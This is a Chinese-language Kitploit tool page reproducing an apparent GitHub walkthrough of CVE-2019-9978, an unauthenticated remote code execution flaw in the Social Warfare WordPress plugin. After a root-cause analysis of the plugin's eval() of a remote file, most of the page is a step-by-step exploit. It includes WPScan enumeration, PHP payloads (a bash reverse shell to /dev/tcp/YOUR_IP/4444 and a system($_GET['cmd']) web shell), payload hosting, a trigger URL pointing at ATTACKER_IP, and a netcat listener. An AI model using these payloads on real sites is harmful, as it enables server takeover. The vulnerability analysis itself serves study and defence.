Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-RCE — CVE-2019-9978的完整演练和利用 - Social Warfare WordPress插件(版本≤3.5.2)中的未经身份验证的远程代码执行。包含漏洞代码分析和有效载荷示例。 | Kitploit
工具/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

CVE-2019-9978的完整演练和利用 - Social Warfare WordPress插件(版本≤3.5.2)中的未经身份验证的远程代码执行。包含漏洞代码分析和有效载荷示例。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
122个月前尚未审核
分享

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – Social Warfare WordPress插件远程代码执行漏洞

⚠️ 免责声明: 本仓库仅用于教育和授权的安全测试。请仅在你拥有或已获得明确书面授权的系统上使用。未经授权的访问是违法的。


📋 概述

属性值
CVE IDCVE-2019-9978
受影响软件Social Warfare 插件 ≤ 3.5.2(WordPress)
漏洞类型远程代码执行(RCE)/ 远程文件包含(RFI)
是否需要认证❌ 不需要 – 无需认证
CVSS 评分9.8(严重)
修复版本3.5.3
是否已在野外被利用是 – 2019年3月

Social Warfare 插件是一个流行的 WordPress 插件,用于在网站上添加社交分享按钮。3.5.0 到 3.5.2 版本存在一个严重 RCE 漏洞,允许攻击者无需任何身份验证即可在服务器上执行任意 PHP 代码。


这个插件是做什么的?

Social Warfare 是一个流行的 WordPress 插件,用于添加社交分享按钮,让访问者可以轻松地在以下平台分享内容:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


根因分析

漏洞代码

root@kitploit:~
if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ 关键误解:
    // is_admin() 只检查页面是否在 /wp-admin/ 中
    // 它并不验证身份验证或用户权限!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // 第一步:从用户控制的 URL 获取远程文件
    // 没有验证、没有清理、没有白名单!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // 第二步:提取 <pre> 标签之间的内容
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // 第三步:构建 PHP 代码字符串
    $array = 'return ' . $options . ';';

    // 第四步:💀 关键缺陷 - 执行用户提供的代码!
    try {
        $fetched_options = eval( $array ); // <-- 远程代码执行
        // ... 其余迁移逻辑
    } catch ( ParseError $e ) {
        // ... 错误处理
    }
}

为什么 is_admin() 不是安全措施

WordPress 函数 is_admin() 不检查用户是否登录或拥有管理员权限。它只检查请求的页面是否在 /wp-admin/ 目录中:

root@kitploit:~
function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  不检查身份验证!
    //  不检查用户角色!
}

讽刺之处: 当你访问 /wp-admin/admin-post.php 时,WordPress 定义 WP_ADMIN = true。这导致 is_admin() 即使对于未经认证的请求也返回 true,从而启用了漏洞代码块。

漏洞就在这里!

root@kitploit:~
 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- 远程代码执行
    }

该插件有一个隐藏的“调试”功能,本意是帮助开发人员从外部 URL 加载配置文件。然而,这个功能有一个致命缺陷:它会从用户提供的 URL 下载任何文件,并执行其中找到的任何代码——无需请求许可,也不检查用户是否被授权。

利用方式很简单:

攻击者在自己服务器上托管一个恶意文件,告诉插件下载它,然后插件盲目地在受害者网站上运行攻击者的代码。由于该插件不需要登录即可触发此操作,任何知道 URL 的人都可以接管网站。

可以这样理解: 想象一个保安,当你说“调试模式”时,他会打开任何门——而不检查你是否在那里工作或是否有工牌。这恰恰就是该漏洞所做的。

漏洞利用代码需要写在 <pre></pre> 标签之间。


💀 利用步骤

步骤 1:确认目标存在漏洞,或自行安装 WordPress 及该插件,然后按照步骤操作

使用 WPScan 确认 Social Warfare 插件版本:

root@kitploit:~
wpscan --url http://target.com --enumerate vp
  • Social Warfare 插件版本 ≤ 3.5.2

如果你自己安装,别忘了在管理面板中激活插件。


步骤 2:创建 Payload 文件

创建 payload.txt,放入你想要的 payload,然后搭建服务器来提供该 payload。

示例 payload:

测试 Payload(验证 RCE):

root@kitploit:~
<pre>phpinfo();</pre>

出网测试:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

Linux 反弹 Shell:

root@kitploit:~
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

交互式命令执行器:

root@kitploit:~
<pre>system($_GET['cmd']);</pre>

步骤 3:托管 Payload

启动 Python HTTP 服务器来托管 payload:

root@kitploit:~
python3 -m http.server 8000

现在你的 payload 可通过以下地址访问:http://YOUR_IP:8000/payload.txt

如果你使用 localhost:

root@kitploit:~
http://127.0.0.1:8000/payload.txt

在受害代码发起请求后,你应该能看到一个 200 状态码:

sc3


步骤 4:触发利用

选项 A – 手动触发:

在浏览器中访问此 URL 或使用 curl:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

再次说明,如果你使用 localhost:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

步骤 5:捕获反弹 Shell(针对反弹 Shell Payload)

root@kitploit:~
nc -lvnp 4444

如果成功,你将获得一个 shell!


结果:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

sce

root@kitploit:~
<pre>phpinfo();</pre>

sc4


Happy Hacking! 🚀

下载工具